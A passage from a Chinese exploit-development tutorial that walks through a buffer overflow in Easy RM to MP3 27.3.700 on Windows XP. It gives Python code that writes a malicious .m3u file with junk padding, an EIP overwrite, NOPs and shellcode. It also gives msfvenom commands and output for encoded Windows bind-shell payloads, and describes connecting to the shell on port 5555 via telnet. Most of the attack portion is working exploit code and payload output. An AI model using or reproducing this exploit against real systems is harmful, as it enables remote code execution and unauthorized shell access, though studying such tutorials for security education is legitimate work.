shellcode += b"\x97\x4f\x93\xf5\x5a\x1d\x4c\x71\xc8\xb2\xf9"
shellcode += b"\xcf\xd1\x39\xb1\xde\x51\xdd\x01\xe0\x70\x70"
shellcode += b"\x1a\xbb\x52\x72\xcf\xb7\xda\x6c\x0c\xfd\x95"
shellcode += b"\x07\xe6\x89\x27\xce\x37\x71\x8b\x2f\xf8\x80"
shellcode += b"\xd5\x68\x3e\x7b\xa0\x80\x3d\x06\xb3\x56\x3c"
shellcode += b"\xdc\x36\x4d\xe6\x97\xe1\xa9\x17\x7b\x77\x39"
shellcode += b"\x1b\x30\xf3\x65\x3f\xc7\xd0\x1d\x3b\x4c\xd7"
shellcode += b"\xf1\xca\x16\xfc\xd5\x97\xcd\x9d\x4c\x7d\xa3"
shellcode += b"\xa2\x8f\xde\x1c\x07\xdb\xf2\x49\x3a\x86\x98"
shellcode += b"\x8c\xc8\xbc\xee\x8f\xd2\xbe\x5e\xf8\xe3\x35"
shellcode += b"\x31\x7f\xfc\x9f\x76\x81\x0d\x12\x62\x16\xb4"
shellcode += b"\xc7\xcf\x7a\x47\x32\x13\x83\xc4\xb7\xeb\x70"
shellcode += b"\xd4\xbd\xee\x3d\x52\x2d\x82\x2e\x37\x51\x31"
shellcode += b"\x4e\x12\x32\xd4\xdc\xfe\xb5"

file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()

首先,关闭自动弹出注册表设置以防止调试器接管。创建 .m3u 文件,打开它并观察应用程序崩溃(同时也应该打开计算器)。

嘣!我们有了第一个可用漏洞利用!

在这里插入图片描述

您可能已经注意到,我在 shellcode 之前保留了25个nop指令(0x90)。 现在不要太担心。随着您继续学习有关漏洞利用的知识(以及当您阅读有关编写 shellcode 的章节时),您将了解为什么需要这样做。

0x0B 比弹出计算器更有意思

您可以创建其他 shellcode 并替换掉弹出计算器的 shellcode ,但此代码可能无法正常运行,因为 shellcode 可能更大,内存位置可能不同,并且较长的 shellcode 会增加无效字符的风险,这些字符需要过滤掉。

假设我们希望漏洞利用程序绑定到端口,以便黑客可以远程连接并获取命令行。

此 shellcode 可能如下所示:

┌──(root㉿kali)-[/home/kali]
└─# msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=5555 RHOST= -e x86/shikata_ga_nai -v shellcode -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of python file: 1998 bytes
shellcode =  b""
shellcode += b"\xba\xf0\x13\xe5\x8b\xd9\xc0\xd9\x74\x24\xf4"
shellcode += b"\x5b\x2b\xc9\xb1\x53\x83\xc3\x04\x31\x53\x0e"
shellcode += b"\x03\xa3\x1d\x07\x7e\xbf\xca\x45\x81\x3f\x0b"
shellcode += b"\x2a\x0b\xda\x3a\x6a\x6f\xaf\x6d\x5a\xfb\xfd"
shellcode += b"\x81\x11\xa9\x15\x11\x57\x66\x1a\x92\xd2\x50"
......
shellcode += b"\x8a\x91\xe0\x49\xd6\x15\x19\x20\x47\xf0\x1d"
shellcode += b"\x97\x68\xd1"

如你所见,这段shellcode是355字节,弹出计算器只要216字节。

复制粘贴这段shellcode,你可能发现程序没有崩溃,弹出的安全警报框提示软件准备向外通信。说明我们的 shellcode 打开了通信端口。为了完成漏洞利用,这时需要有人点击 解除阻止 ,在实际情况中会有更灵活的方法解决这个提示框。所以点击 解除阻止 ,此时程序好像处于挂起状态。

在这里插入图片描述

Kali 系统中使用 telnet 连接到 xp 主机的 5555 端口:

在这里插入图片描述

终端显示已经连接到 xp 主机了,但是没有可用的交互。

这种情况表明:

  • shellcode 缓冲区大小存在问题(这不是问题所在)
  • shellcode 中存在无效字符。默认情况下,空字节受到限制,但是还会有其他字符

.m3u 文件中可能会含有文件名。因此,一开始就要过滤掉文件名和文件路径中不允许出现的所有字符。您还可以使用另一个解码器来限制使用的字符集。我们已经使用了 shikata_ga_nai ,但也许 alpha_upper 对过滤文件名更有效。使用另一种编码很可能会增加 shellcode 的长度,但大小不是一个问题。

让我们尝试使用 alpha_upper 编码器构建一个 shell_bind_tcp 绑定。 我们将一个 shell 绑定到本地端口 5555。 新的 shelllcode 是 725 字节。

┌──(root㉿kali)-[/home/kali]
└─# msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=5555 RHOST= -e x86/alpha_upper -v shellcode -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 725 (iteration=0)
x86/alpha_upper chosen with final size 725
Payload size: 725 bytes
Final size of python file: 4039 bytes
shellcode =  b""
shellcode += b"\x89\xe0\xdd\xc4\xd9\x70\xf4\x5f\x57\x59\x49"
shellcode += b"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a"
shellcode += b"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30"
shellcode += b"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += b"\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42"
......
shellcode += b"\x4b\x31\x57\x45\x43\x44\x32\x52\x4f\x43\x5a"
shellcode += b"\x45\x50\x36\x33\x4b\x4f\x49\x45\x41\x41"

让我们使用这个shellcode。新的漏洞利用看起来像这样,但是我已经改动了此处显示的 shellcode 。因此,如果您复制粘贴,它将不起作用。但是您现在应该知道如何进行有效的漏洞利用。

# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# tested on Windows XP SP3
import pwn

filename = 'exploit.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x01b7f23a)
shellcode = b"\x90" * 25

shellcode += b"\x89\xe0\xdd\xc4\xd9\x70\xf4\x5f\x57\x59\x49"
shellcode += b"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a"
shellcode += b"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30"
shellcode += b"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += b"\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42"
......
shellcode += b"\x4b\x31\x57\x45\x43\x44\x32\x52\x4f\x43\x5a"
shellcode += b"\x45\x50\x36\x33\x4b\x4f\x49\x45\x41\x41"

file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()

创建新的 exploit.m3u 文件,在应用程序中打开,看起来是挂起状态。

在这里插入图片描述

使用 telnet 连接到 xp 主机的 5555 端口:

在这里插入图片描述
嘣!

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值